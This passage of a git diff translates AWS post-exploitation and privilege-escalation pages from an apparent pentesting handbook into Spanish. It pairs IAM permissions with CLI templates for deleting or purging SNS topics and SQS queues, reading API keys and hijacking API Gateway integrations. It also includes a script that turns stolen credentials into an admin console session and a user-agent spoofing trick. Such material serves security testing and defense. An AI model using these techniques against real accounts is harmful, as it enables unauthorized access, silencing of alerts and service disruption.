plantilla. ```bash aws ses send-templated-email --source --destination --template ``` - -Still to test. +Aún por probar. ### `ses:SendBulkTemplatedEmail` -Send an email to multiple destinations - +Enviar un correo electrónico a múltiples destinos ```bash aws ses send-bulk-templated-email --source --template ``` - -Still to test. +Aún por probar. ### `ses:SendBulkEmail` -Send an email to multiple destinations. - +Envía un correo electrónico a múltiples destinos. ``` aws sesv2 send-bulk-email --default-content --bulk-email-entries ``` - ### `ses:SendBounce` -Send a **bounce email** over a received email (indicating that the email couldn't be received). This can only be done **up to 24h after receiving** the email. - +Enviar un **correo electrónico de rebote** sobre un correo electrónico recibido (indicando que el correo no pudo ser recibido). Esto solo se puede hacer **hasta 24 horas después de recibir** el correo electrónico. ```bash aws ses send-bounce --original-message-id --bounce-sender --bounced-recipient-info-list ``` - -Still to test. - ### `ses:SendCustomVerificationEmail` -This will send a customized verification email. You might need permissions also to created the template email. - +Esto enviará un correo electrónico de verificación personalizado. Es posible que también necesites permisos para crear la plantilla de correo electrónico. ```bash aws ses send-custom-verification-email --email-address --template-name aws sesv2 send-custom-verification-email --email-address --template-name ``` - -Still to test. +Aún por probar. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md index b24660ee1..587d6e931 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md @@ -1,84 +1,68 @@ -# AWS - SNS Post Exploitation +# AWS - SNS Post Explotación {{#include ../../../banners/hacktricks-training.md}} ## SNS -For more information: +Para más información: {{#ref}} ../aws-services/aws-sns-enum.md {{#endref}} -### Disrupt Messages +### Interrumpir Mensajes -In several cases, SNS topics are used to send messages to platforms that are being monitored (emails, slack messages...). If an attacker prevents sending the messages that alert about it presence in the cloud, he could remain undetected. +En varios casos, los temas de SNS se utilizan para enviar mensajes a plataformas que están siendo monitoreadas (correos electrónicos, mensajes de slack...). Si un atacante impide el envío de los mensajes que alertan sobre su presencia en la nube, podría permanecer indetectado. ### `sns:DeleteTopic` -An attacker could delete an entire SNS topic, causing message loss and impacting applications relying on the topic. - +Un atacante podría eliminar un tema completo de SNS, causando pérdida de mensajes e impactando aplicaciones que dependen del tema. ```bash aws sns delete-topic --topic-arn ``` - -**Potential Impact**: Message loss and service disruption for applications using the deleted topic. +**Impacto Potencial**: Pérdida de mensajes y interrupción del servicio para aplicaciones que utilizan el tema eliminado. ### `sns:Publish` -An attacker could send malicious or unwanted messages to the SNS topic, potentially causing data corruption, triggering unintended actions, or exhausting resources. - +Un atacante podría enviar mensajes maliciosos o no deseados al tema SNS, lo que podría causar corrupción de datos, activar acciones no intencionadas o agotar recursos. ```bash aws sns publish --topic-arn --message ``` - -**Potential Impact**: Data corruption, unintended actions, or resource exhaustion. +**Impacto Potencial**: Corrupción de datos, acciones no intencionadas o agotamiento de recursos. ### `sns:SetTopicAttributes` -An attacker could modify the attributes of an SNS topic, potentially affecting its performance, security, or availability. - +Un atacante podría modificar los atributos de un tema de SNS, afectando potencialmente su rendimiento, seguridad o disponibilidad. ```bash aws sns set-topic-attributes --topic-arn --attribute-name --attribute-value ``` - -**Potential Impact**: Misconfigurations leading to degraded performance, security issues, or reduced availability. +**Impacto Potencial**: Configuraciones incorrectas que conducen a un rendimiento degradado, problemas de seguridad o disponibilidad reducida. ### `sns:Subscribe` , `sns:Unsubscribe` -An attacker could subscribe or unsubscribe to an SNS topic, potentially gaining unauthorized access to messages or disrupting the normal functioning of applications relying on the topic. - +Un atacante podría suscribirse o darse de baja de un tema de SNS, potencialmente obteniendo acceso no autorizado a mensajes o interrumpiendo el funcionamiento normal de las aplicaciones que dependen del tema. ```bash aws sns subscribe --topic-arn --protocol --endpoint aws sns unsubscribe --subscription-arn ``` +**Impacto Potencial**: Acceso no autorizado a mensajes, interrupción del servicio para aplicaciones que dependen del tema afectado. -**Potential Impact**: Unauthorized access to messages, service disruption for applications relying on the affected topic. - -### `sns:AddPermission` , `sns:RemovePermission` - -An attacker could grant unauthorized users or services access to an SNS topic, or revoke permissions for legitimate users, causing disruptions in the normal functioning of applications that rely on the topic. +### `sns:AddPermission`, `sns:RemovePermission` +Un atacante podría otorgar acceso a usuarios o servicios no autorizados a un tema de SNS, o revocar permisos para usuarios legítimos, causando interrupciones en el funcionamiento normal de las aplicaciones que dependen del tema. ```css aws sns add-permission --topic-arn --label --aws-account-id --action-name aws sns remove-permission --topic-arn --label ``` +**Impacto Potencial**: Acceso no autorizado al tema, exposición de mensajes o manipulación del tema por usuarios o servicios no autorizados, interrupción del funcionamiento normal de las aplicaciones que dependen del tema. -**Potential Impact**: Unauthorized access to the topic, message exposure, or topic manipulation by unauthorized users or services, disruption of normal functioning for applications relying on the topic. - -### `sns:TagResource` , `sns:UntagResource` - -An attacker could add, modify, or remove tags from SNS resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags. +### `sns:TagResource`, `sns:UntagResource` +Un atacante podría agregar, modificar o eliminar etiquetas de los recursos de SNS, interrumpiendo la asignación de costos de su organización, el seguimiento de recursos y las políticas de control de acceso basadas en etiquetas. ```bash aws sns tag-resource --resource-arn --tags Key=,Value= aws sns untag-resource --resource-arn --tag-keys ``` - -**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies. +**Impacto Potencial**: Disrupción de la asignación de costos, seguimiento de recursos y políticas de control de acceso basadas en etiquetas. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md index 872693e89..ffb485ba9 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md @@ -1,91 +1,73 @@ -# AWS - SQS Post Exploitation +# AWS - SQS Post Explotación {{#include ../../../banners/hacktricks-training.md}} ## SQS -For more information check: +Para más información, consulta: {{#ref}} ../aws-services/aws-sqs-and-sns-enum.md {{#endref}} -### `sqs:SendMessage` , `sqs:SendMessageBatch` - -An attacker could send malicious or unwanted messages to the SQS queue, potentially causing data corruption, triggering unintended actions, or exhausting resources. +### `sqs:SendMessage`, `sqs:SendMessageBatch` +Un atacante podría enviar mensajes maliciosos o no deseados a la cola SQS, lo que podría causar corrupción de datos, activar acciones no intencionadas o agotar recursos. ```bash aws sqs send-message --queue-url --message-body aws sqs send-message-batch --queue-url --entries ``` - -**Potential Impact**: Vulnerability exploitation, Data corruption, unintended actions, or resource exhaustion. +**Impacto Potencial**: Explotación de vulnerabilidades, corrupción de datos, acciones no intencionadas o agotamiento de recursos. ### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` -An attacker could receive, delete, or modify the visibility of messages in an SQS queue, causing message loss, data corruption, or service disruption for applications relying on those messages. - +Un atacante podría recibir, eliminar o modificar la visibilidad de los mensajes en una cola SQS, causando pérdida de mensajes, corrupción de datos o interrupción del servicio para las aplicaciones que dependen de esos mensajes. ```bash aws sqs receive-message --queue-url aws sqs delete-message --queue-url --receipt-handle aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout ``` - -**Potential Impact**: Steal sensitive information, Message loss, data corruption, and service disruption for applications relying on the affected messages. +**Impacto Potencial**: Robar información sensible, pérdida de mensajes, corrupción de datos y interrupción del servicio para aplicaciones que dependen de los mensajes afectados. ### `sqs:DeleteQueue` -An attacker could delete an entire SQS queue, causing message loss and impacting applications relying on the queue. - +Un atacante podría eliminar toda una cola SQS, causando pérdida de mensajes e impactando aplicaciones que dependen de la cola. ```arduino Copy codeaws sqs delete-queue --queue-url ``` - -**Potential Impact**: Message loss and service disruption for applications using the deleted queue. +**Impacto Potencial**: Pérdida de mensajes y interrupción del servicio para aplicaciones que utilizan la cola eliminada. ### `sqs:PurgeQueue` -An attacker could purge all messages from an SQS queue, leading to message loss and potential disruption of applications relying on those messages. - +Un atacante podría purgar todos los mensajes de una cola SQS, lo que llevaría a la pérdida de mensajes y a una posible interrupción de las aplicaciones que dependen de esos mensajes. ```arduino Copy codeaws sqs purge-queue --queue-url ``` - -**Potential Impact**: Message loss and service disruption for applications relying on the purged messages. +**Impacto Potencial**: Pérdida de mensajes y interrupción del servicio para aplicaciones que dependen de los mensajes eliminados. ### `sqs:SetQueueAttributes` -An attacker could modify the attributes of an SQS queue, potentially affecting its performance, security, or availability. - +Un atacante podría modificar los atributos de una cola SQS, afectando potencialmente su rendimiento, seguridad o disponibilidad. ```arduino aws sqs set-queue-attributes --queue-url --attributes ``` - -**Potential Impact**: Misconfigurations leading to degraded performance, security issues, or reduced availability. +**Impacto Potencial**: Configuraciones incorrectas que conducen a un rendimiento degradado, problemas de seguridad o disponibilidad reducida. ### `sqs:TagQueue` , `sqs:UntagQueue` -An attacker could add, modify, or remove tags from SQS resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags. - +Un atacante podría agregar, modificar o eliminar etiquetas de los recursos de SQS, interrumpiendo la asignación de costos de su organización, el seguimiento de recursos y las políticas de control de acceso basadas en etiquetas. ```bash aws sqs tag-queue --queue-url --tags Key=,Value= aws sqs untag-queue --queue-url --tag-keys ``` - -**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies. +**Impacto Potencial**: Disrupción de la asignación de costos, seguimiento de recursos y políticas de control de acceso basadas en etiquetas. ### `sqs:RemovePermission` -An attacker could revoke permissions for legitimate users or services by removing policies associated with the SQS queue. This could lead to disruptions in the normal functioning of applications that rely on the queue. - +Un atacante podría revocar permisos para usuarios o servicios legítimos al eliminar políticas asociadas con la cola SQS. Esto podría llevar a disrupciones en el funcionamiento normal de las aplicaciones que dependen de la cola. ```arduino arduinoCopy codeaws sqs remove-permission --queue-url --label ``` - -**Potential Impact**: Disruption of normal functioning for applications relying on the queue due to unauthorized removal of permissions. +**Impacto Potencial**: Disrupción del funcionamiento normal de las aplicaciones que dependen de la cola debido a la eliminación no autorizada de permisos. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md index 0d636f261..105009161 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md @@ -1,10 +1,10 @@ -# AWS - SSO & identitystore Post Exploitation +# AWS - SSO y post explotación de identitystore {{#include ../../../banners/hacktricks-training.md}} -## SSO & identitystore +## SSO y identitystore -For more information check: +Para más información, consulta: {{#ref}} ../aws-services/aws-iam-enum.md @@ -12,8 +12,7 @@ For more information check: ### `sso:DeletePermissionSet` | `sso:PutPermissionsBoundaryToPermissionSet` | `sso:DeleteAccountAssignment` -These permissions can be used to disrupt permissions: - +Estos permisos pueden ser utilizados para interrumpir permisos: ```bash aws sso-admin delete-permission-set --instance-arn --permission-set-arn @@ -21,9 +20,4 @@ aws sso-admin put-permissions-boundary-to-permission-set --instance-arn --target-id --target-type --permission-set-arn --principal-type --principal-id ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md index 6a0cd5ba9..aac085c85 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md @@ -1,10 +1,10 @@ -# AWS - Step Functions Post Exploitation +# AWS - Step Functions Post Explotación {{#include ../../../banners/hacktricks-training.md}} ## Step Functions -For more information about this AWS service, check: +Para más información sobre este servicio de AWS, consulta: {{#ref}} ../aws-services/aws-stepfunctions-enum.md @@ -12,20 +12,19 @@ For more information about this AWS service, check: ### `states:RevealSecrets` -This permission allows to **reveal secret data inside an execution**. For it, it's needed to set Inspection level to TRACE and the revealSecrets parameter to true. +Este permiso permite **revelar datos secretos dentro de una ejecución**. Para ello, es necesario establecer el nivel de Inspección en TRACE y el parámetro revealSecrets en true.
### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias` -An attacker with these permissions would be able to permanently delete state machines, their versions, and aliases. This can disrupt critical workflows, result in data loss, and require significant time to recover and restore the affected state machines. In addition, it would allow an attacker to cover the tracks used, disrupt forensic investigations, and potentially cripple operations by removing essential automation processes and state configurations. +Un atacante con estos permisos podría eliminar permanentemente máquinas de estado, sus versiones y alias. Esto puede interrumpir flujos de trabajo críticos, resultar en pérdida de datos y requerir un tiempo significativo para recuperar y restaurar las máquinas de estado afectadas. Además, permitiría a un atacante cubrir las huellas utilizadas, interrumpir investigaciones forenses y potencialmente paralizar operaciones al eliminar procesos de automatización esenciales y configuraciones de estado. > [!NOTE] > -> - Deleting a state machine you also delete all its associated versions and aliases. -> - Deleting a state machine alias you do not delete the state machine versions referecing this alias. -> - It is not possible to delete a state machine version currently referenced by one o more aliases. - +> - Al eliminar una máquina de estado, también se eliminan todas sus versiones y alias asociados. +> - Al eliminar un alias de máquina de estado, no se eliminan las versiones de la máquina de estado que hacen referencia a este alias. +> - No es posible eliminar una versión de máquina de estado actualmente referenciada por uno o más alias. ```bash # Delete state machine aws stepfunctions delete-state-machine --state-machine-arn @@ -34,45 +33,34 @@ aws stepfunctions delete-state-machine-version --state-machine-version-arn ``` - -- **Potential Impact**: Disruption of critical workflows, data loss, and operational downtime. +- **Impacto Potencial**: Disrupción de flujos de trabajo críticos, pérdida de datos y tiempo de inactividad operativo. ### `states:UpdateMapRun` -An attacker with this permission would be able to manipulate the Map Run failure configuration and parallel setting, being able to increase or decrease the maximum number of child workflow executions allowed, affecting directly and performance of the service. In addition, an attacker could tamper with the tolerated failure percentage and count, being able to decrease this value to 0 so every time an item fails, the whole map run would fail, affecting directly to the state machine execution and potentially disrupting critical workflows. - +Un atacante con este permiso podría manipular la configuración de falla del Map Run y la configuración paralela, pudiendo aumentar o disminuir el número máximo de ejecuciones de flujos de trabajo secundarios permitidos, afectando directamente el rendimiento del servicio. Además, un atacante podría alterar el porcentaje y el conteo de fallas toleradas, pudiendo disminuir este valor a 0, de modo que cada vez que un elemento falla, todo el map run fallaría, afectando directamente la ejecución de la máquina de estados y potencialmente interrumpiendo flujos de trabajo críticos. ```bash aws stepfunctions update-map-run --map-run-arn [--max-concurrency ] [--tolerated-failure-percentage ] [--tolerated-failure-count ] ``` - -- **Potential Impact**: Performance degradation, and disruption of critical workflows. +- **Impacto Potencial**: Degradación del rendimiento y interrupción de flujos de trabajo críticos. ### `states:StopExecution` -An attacker with this permission could be able to stop the execution of any state machine, disrupting ongoing workflows and processes. This could lead to incomplete transactions, halted business operations, and potential data corruption. +Un atacante con este permiso podría detener la ejecución de cualquier máquina de estados, interrumpiendo flujos de trabajo y procesos en curso. Esto podría llevar a transacciones incompletas, operaciones comerciales detenidas y posible corrupción de datos. > [!WARNING] -> This action is not supported by **express state machines**. - +> Esta acción no es compatible con **máquinas de estados expresas**. ```bash aws stepfunctions stop-execution --execution-arn [--error ] [--cause ] ``` - -- **Potential Impact**: Disruption of ongoing workflows, operational downtime, and potential data corruption. +- **Impacto Potencial**: Disrupción de flujos de trabajo en curso, tiempo de inactividad operativo y posible corrupción de datos. ### `states:TagResource`, `states:UntagResource` -An attacker could add, modify, or remove tags from Step Functions resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags. - +Un atacante podría agregar, modificar o eliminar etiquetas de los recursos de Step Functions, interrumpiendo la asignación de costos de su organización, el seguimiento de recursos y las políticas de control de acceso basadas en etiquetas. ```bash aws stepfunctions tag-resource --resource-arn --tags Key=,Value= aws stepfunctions untag-resource --resource-arn --tag-keys ``` - -**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies. +**Impacto Potencial**: Disrupción de la asignación de costos, seguimiento de recursos y políticas de control de acceso basadas en etiquetas. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md index 3cabd1b71..f924e000f 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md @@ -1,24 +1,23 @@ -# AWS - STS Post Exploitation +# AWS - STS Post Explotación {{#include ../../../banners/hacktricks-training.md}} ## STS -For more information: +Para más información: {{#ref}} ../aws-services/aws-iam-enum.md {{#endref}} -### From IAM Creds to Console +### De Credenciales IAM a Consola -If you have managed to obtain some IAM credentials you might be interested on **accessing the web console** using the following tools.\ -Note that the the user/role must have the permission **`sts:GetFederationToken`**. +Si has logrado obtener algunas credenciales IAM, podrías estar interesado en **acceder a la consola web** utilizando las siguientes herramientas.\ +Ten en cuenta que el usuario/rol debe tener el permiso **`sts:GetFederationToken`**. -#### Custom script - -The following script will use the default profile and a default AWS location (not gov and not cn) to give you a signed URL you can use to login inside the web console: +#### Script personalizado +El siguiente script utilizará el perfil predeterminado y una ubicación predeterminada de AWS (no gov y no cn) para darte una URL firmada que puedes usar para iniciar sesión en la consola web: ```bash # Get federated creds (you must indicate a policy or they won't have any perms) ## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges @@ -26,8 +25,8 @@ The following script will use the default profile and a default AWS location (no output=$(aws sts get-federation-token --name consoler --policy-arns arn=arn:aws:iam::aws:policy/AdministratorAccess) if [ $? -ne 0 ]; then - echo "The command 'aws sts get-federation-token --name consoler' failed with exit status $status" - exit $status +echo "The command 'aws sts get-federation-token --name consoler' failed with exit status $status" +exit $status fi # Parse the output @@ -43,10 +42,10 @@ federation_endpoint="https://signin.aws.amazon.com/federation" # Make the HTTP request to get the sign-in token resp=$(curl -s "$federation_endpoint" \ - --get \ - --data-urlencode "Action=getSigninToken" \ - --data-urlencode "SessionDuration=43200" \ - --data-urlencode "Session=$json_creds" +--get \ +--data-urlencode "Action=getSigninToken" \ +--data-urlencode "SessionDuration=43200" \ +--data-urlencode "Session=$json_creds" ) signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri) @@ -55,11 +54,9 @@ signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri) # Give the URL to login echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token" ``` - #### aws_consoler -You can **generate a web console link** with [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler). - +Puedes **generar un enlace de consola web** con [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler). ```bash cd /tmp python3 -m venv env @@ -67,27 +64,23 @@ source ./env/bin/activate pip install aws-consoler aws_consoler [params...] #This will generate a link to login into the console ``` - > [!WARNING] -> Ensure the IAM user has `sts:GetFederationToken` permission, or provide a role to assume. +> Asegúrese de que el usuario IAM tenga permiso `sts:GetFederationToken`, o proporcione un rol para asumir. #### aws-vault -[**aws-vault**](https://github.com/99designs/aws-vault) is a tool to securely store and access AWS credentials in a development environment. - +[**aws-vault**](https://github.com/99designs/aws-vault) es una herramienta para almacenar y acceder de forma segura a las credenciales de AWS en un entorno de desarrollo. ```bash aws-vault list aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds aws-vault login jonsmith # Open a browser logged as jonsmith ``` - > [!NOTE] -> You can also use **aws-vault** to obtain an **browser console session** +> También puedes usar **aws-vault** para obtener una **sesión de consola del navegador** -### **Bypass User-Agent restrictions from Python** - -If there is a **restriction to perform certain actions based on the user agent** used (like restricting the use of python boto3 library based on the user agent) it's possible to use the previous technique to **connect to the web console via a browser**, or you could directly **modify the boto3 user-agent** by doing: +### **Eludir restricciones de User-Agent desde Python** +Si hay una **restricción para realizar ciertas acciones basada en el user agent** utilizado (como restringir el uso de la biblioteca python boto3 según el user agent), es posible usar la técnica anterior para **conectarse a la consola web a través de un navegador**, o podrías **modificar directamente el user-agent de boto3** haciendo: ```bash # Shared by ex16x41 # Create a client @@ -100,9 +93,4 @@ client.meta.events.register( 'before-call.secretsmanager.GetSecretValue', lambda # Perform the action response = client.get_secret_value(SecretId="flag_secret") print(response['SecretString']) ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md index fe4f69e25..6bf4b9dfd 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md @@ -1,17 +1,13 @@ -# AWS - VPN Post Exploitation +# AWS - VPN Post Explotación {{#include ../../../banners/hacktricks-training.md}} ## VPN -For more information: +Para más información: {{#ref}} ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md index ba8374b41..94ddb91c1 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md @@ -1,27 +1,23 @@ -# AWS - Privilege Escalation +# AWS - Escalación de Privilegios {{#include ../../../banners/hacktricks-training.md}} -## AWS Privilege Escalation +## Escalación de Privilegios en AWS -The way to escalate your privileges in AWS is to have enough permissions to be able to, somehow, access other roles/users/groups privileges. Chaining escalations until you have admin access over the organization. +La forma de escalar tus privilegios en AWS es tener suficientes permisos para poder, de alguna manera, acceder a los privilegios de otros roles/usuarios/grupos. Encadenando escalaciones hasta que tengas acceso de administrador sobre la organización. > [!WARNING] -> AWS has **hundreds** (if not thousands) of **permissions** that an entity can be granted. In this book you can find **all the permissions that I know** that you can abuse to **escalate privileges**, but if you **know some path** not mentioned here, **please share it**. +> AWS tiene **cientos** (si no miles) de **permisos** que se pueden otorgar a una entidad. En este libro puedes encontrar **todos los permisos que conozco** que puedes abusar para **escalar privilegios**, pero si **conoces algún camino** no mencionado aquí, **por favor compártelo**. > [!CAUTION] -> If an IAM policy has `"Effect": "Allow"` and `"NotAction": "Someaction"` indicating a **resource**... that means that the **allowed principal** has **permission to do ANYTHING but that specified action**.\ -> So remember that this is another way to **grant privileged permissions** to a principal. +> Si una política de IAM tiene `"Effect": "Allow"` y `"NotAction": "Someaction"` indicando un **recurso**... eso significa que el **principal permitido** tiene **permiso para HACER CUALQUIER COSA excepto esa acción especificada**.\ +> Así que recuerda que esta es otra forma de **otorgar permisos privilegiados** a un principal. -**The pages of this section are ordered by AWS service. In there you will be able to find permissions that will allow you to escalate privileges.** +**Las páginas de esta sección están ordenadas por servicio de AWS. Allí podrás encontrar permisos que te permitirán escalar privilegios.** -## Tools +## Herramientas - [https://github.com/RhinoSecurityLabs/Security-Research/blob/master/tools/aws-pentest-tools/aws_escalate.py](https://github.com/RhinoSecurityLabs/Security-Research/blob/master/tools/aws-pentest-tools/aws_escalate.py) - [Pacu](https://github.com/RhinoSecurityLabs/pacu) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md index 7f7edbc6e..a49567112 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md @@ -4,7 +4,7 @@ ## Apigateway -For more information check: +Para más información, consulta: {{#ref}} ../aws-services/aws-api-gateway-enum.md @@ -12,44 +12,37 @@ For more information check: ### `apigateway:POST` -With this permission you can generate API keys of the APIs configured (per region). - +Con este permiso puedes generar claves API de las APIs configuradas (por región). ```bash aws --region apigateway create-api-key ``` - -**Potential Impact:** You cannot privesc with this technique but you might get access to sensitive info. +**Impacto Potencial:** No puedes escalar privilegios con esta técnica, pero podrías obtener acceso a información sensible. ### `apigateway:GET` -With this permission you can get generated API keys of the APIs configured (per region). - +Con este permiso puedes obtener las claves API generadas de las APIs configuradas (por región). ```bash aws --region apigateway get-api-keys aws --region apigateway get-api-key --api-key --include-value ``` - -**Potential Impact:** You cannot privesc with this technique but you might get access to sensitive info. +**Impacto Potencial:** No puedes escalar privilegios con esta técnica, pero podrías obtener acceso a información sensible. ### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH` -With these permissions it's possible to modify the resource policy of an API to give yourself access to call it and abuse potential access the API gateway might have (like invoking a vulnerable lambda). - +Con estos permisos es posible modificar la política de recursos de una API para darte acceso a llamarla y abusar del acceso potencial que la API gateway podría tener (como invocar un lambda vulnerable). ```bash aws apigateway update-rest-api \ - --rest-api-id api-id \ - --patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"' +--rest-api-id api-id \ +--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"' ``` - -**Potential Impact:** You, usually, won't be able to privesc directly with this technique but you might get access to sensitive info. +**Impacto Potencial:** Normalmente, no podrás realizar privesc directamente con esta técnica, pero podrías obtener acceso a información sensible. ### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole` > [!NOTE] -> Need testing - -An attacker with the permissions `apigateway:PutIntegration`, `apigateway:CreateDeployment`, and `iam:PassRole` can **add a new integration to an existing API Gateway REST API with a Lambda function that has an IAM role attached**. The attacker can then **trigger the Lambda function to execute arbitrary code and potentially gain access to the resources associated with the IAM role**. +> Necesita pruebas +Un atacante con los permisos `apigateway:PutIntegration`, `apigateway:CreateDeployment` y `iam:PassRole` puede **agregar una nueva integración a una API REST de API Gateway existente con una función Lambda que tiene un rol IAM adjunto**. El atacante puede entonces **activar la función Lambda para ejecutar código arbitrario y potencialmente obtener acceso a los recursos asociados con el rol IAM**. ```bash API_ID="your-api-id" RESOURCE_ID="your-resource-id" @@ -63,16 +56,14 @@ aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` - -**Potential Impact**: Access to resources associated with the Lambda function's IAM role. +**Impacto Potencial**: Acceso a recursos asociados con el rol IAM de la función Lambda. ### `apigateway:UpdateAuthorizer`, `apigateway:CreateDeployment` > [!NOTE] -> Need testing - -An attacker with the permissions `apigateway:UpdateAuthorizer` and `apigateway:CreateDeployment` can **modify an existing API Gateway authorizer** to bypass security checks or to execute arbitrary code when API requests are made. +> Necesita pruebas +Un atacante con los permisos `apigateway:UpdateAuthorizer` y `apigateway:CreateDeployment` puede **modificar un autorizer de API Gateway existente** para eludir las verificaciones de seguridad o para ejecutar código arbitrario cuando se realizan solicitudes de API. ```bash API_ID="your-api-id" AUTHORIZER_ID="your-authorizer-id" @@ -84,16 +75,14 @@ aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZ # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` - -**Potential Impact**: Bypassing security checks, unauthorized access to API resources. +**Impacto Potencial**: Eludir verificaciones de seguridad, acceso no autorizado a recursos de API. ### `apigateway:UpdateVpcLink` -> [!NOTE] -> Need testing - -An attacker with the permission `apigateway:UpdateVpcLink` can **modify an existing VPC Link to point to a different Network Load Balancer, potentially redirecting private API traffic to unauthorized or malicious resources**. +> [!NOTA] +> Necesita pruebas +Un atacante con el permiso `apigateway:UpdateVpcLink` puede **modificar un VPC Link existente para apuntar a un Balanceador de Carga de Red diferente, redirigiendo potencialmente el tráfico privado de la API a recursos no autorizados o maliciosos**. ```bash bashCopy codeVPC_LINK_ID="your-vpc-link-id" NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188" @@ -101,11 +90,6 @@ NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new # Update the VPC Link aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]" ``` - -**Potential Impact**: Unauthorized access to private API resources, interception or disruption of API traffic. +**Impacto Potencial**: Acceso no autorizado a recursos privados de API, interceptación o interrupción del tráfico de API. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md index b477dc31f..f4e2282e8 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md @@ -7,7 +7,3 @@ TODO {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md index 39cba539e..b06f939e6 100644 --- 